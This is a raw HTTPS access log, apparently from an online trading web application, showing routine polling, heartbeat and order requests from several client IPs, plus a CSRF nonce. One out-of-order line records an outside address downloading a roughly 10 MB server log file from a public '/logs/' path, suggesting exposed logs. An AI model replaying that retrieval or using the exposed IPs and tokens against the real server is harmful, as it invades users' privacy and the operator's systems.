[09/Jan/2026:15:25:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943776448 HTTP/1.1" -
[09/Jan/2026:15:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:25:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943778652 HTTP/1.1" -
[09/Jan/2026:15:25:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:25:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943782071 HTTP/1.1" -
[09/Jan/2026:15:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1206
[09/Jan/2026:15:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943781616 HTTP/1.1" -
[09/Jan/2026:15:25:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943783675 HTTP/1.1" -
[09/Jan/2026:15:25:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943787151 HTTP/1.1" -
[09/Jan/2026:15:25:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943786652 HTTP/1.1" -
[09/Jan/2026:15:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943788713 HTTP/1.1" -
[09/Jan/2026:15:25:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943792255 HTTP/1.1" -
[09/Jan/2026:15:25:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943791814 HTTP/1.1" -
[09/Jan/2026:15:25:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943793763 HTTP/1.1" -
[09/Jan/2026:15:25:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943797290 HTTP/1.1" -
[09/Jan/2026:15:25:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943797011 HTTP/1.1" -
[09/Jan/2026:15:25:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943798795 HTTP/1.1" -
[09/Jan/2026:15:25:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943802372 HTTP/1.1" -
[09/Jan/2026:15:25:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943802078 HTTP/1.1" -
[09/Jan/2026:15:25:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943803825 HTTP/1.1" -
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:25:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1756
[09/Jan/2026:15:25:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943807488 HTTP/1.1" -
[09/Jan/2026:15:25:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943807207 HTTP/1.1" -
[09/Jan/2026:15:25:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943808866 HTTP/1.1" -
[09/Jan/2026:15:25:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943812521 HTTP/1.1" -
[09/Jan/2026:15:25:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943812254 HTTP/1.1" -
[09/Jan/2026:15:25:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943813886 HTTP/1.1" -
[09/Jan/2026:15:25:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943817581 HTTP/1.1" -
[09/Jan/2026:15:25:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943817405 HTTP/1.1" -
[09/Jan/2026:15:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943818907 HTTP/1.1" -
[09/Jan/2026:15:25:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943822710 HTTP/1.1" -
[09/Jan/2026:15:25:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943822614 HTTP/1.1" -
[09/Jan/2026:15:25:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943823925 HTTP/1.1" -
[09/Jan/2026:15:25:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943827894 HTTP/1.1" -
[09/Jan/2026:15:25:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943827753 HTTP/1.1" -
[09/Jan/2026:15:25:56 +0800] 47.128.24.88 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250926 HTTP/1.1" 10115074
[09/Jan/2026:15:25:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943828956 HTTP/1.1" -
[09/Jan/2026:15:26:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943833884 HTTP/1.1" -
[09/Jan/2026:15:26:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943832832 HTTP/1.1" -
[09/Jan/2026:15:26:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943833972 HTTP/1.1" -
[09/Jan/2026:15:26:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:05 +0800] 106.117.111.146 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:15:26:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943838054 HTTP/1.1" -
[09/Jan/2026:15:26:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943838990 HTTP/1.1" -
[09/Jan/2026:15:26:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943839881 HTTP/1.1" -
[09/Jan/2026:15:26:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943843122 HTTP/1.1" -
[09/Jan/2026:15:26:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943844009 HTTP/1.1" -
[09/Jan/2026:15:26:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943845885 HTTP/1.1" -
[09/Jan/2026:15:26:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943848280 HTTP/1.1" -
[09/Jan/2026:15:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943849024 HTTP/1.1" -
[09/Jan/2026:15:26:20 +0800] 171.37.93.24 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:15:26:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943851879 HTTP/1.1" -
[09/Jan/2026:15:26:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943853435 HTTP/1.1" -
[09/Jan/2026:15:26:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943854070 HTTP/1.1" -
[09/Jan/2026:15:26:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943871084 HTTP/1.1" -
[09/Jan/2026:15:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
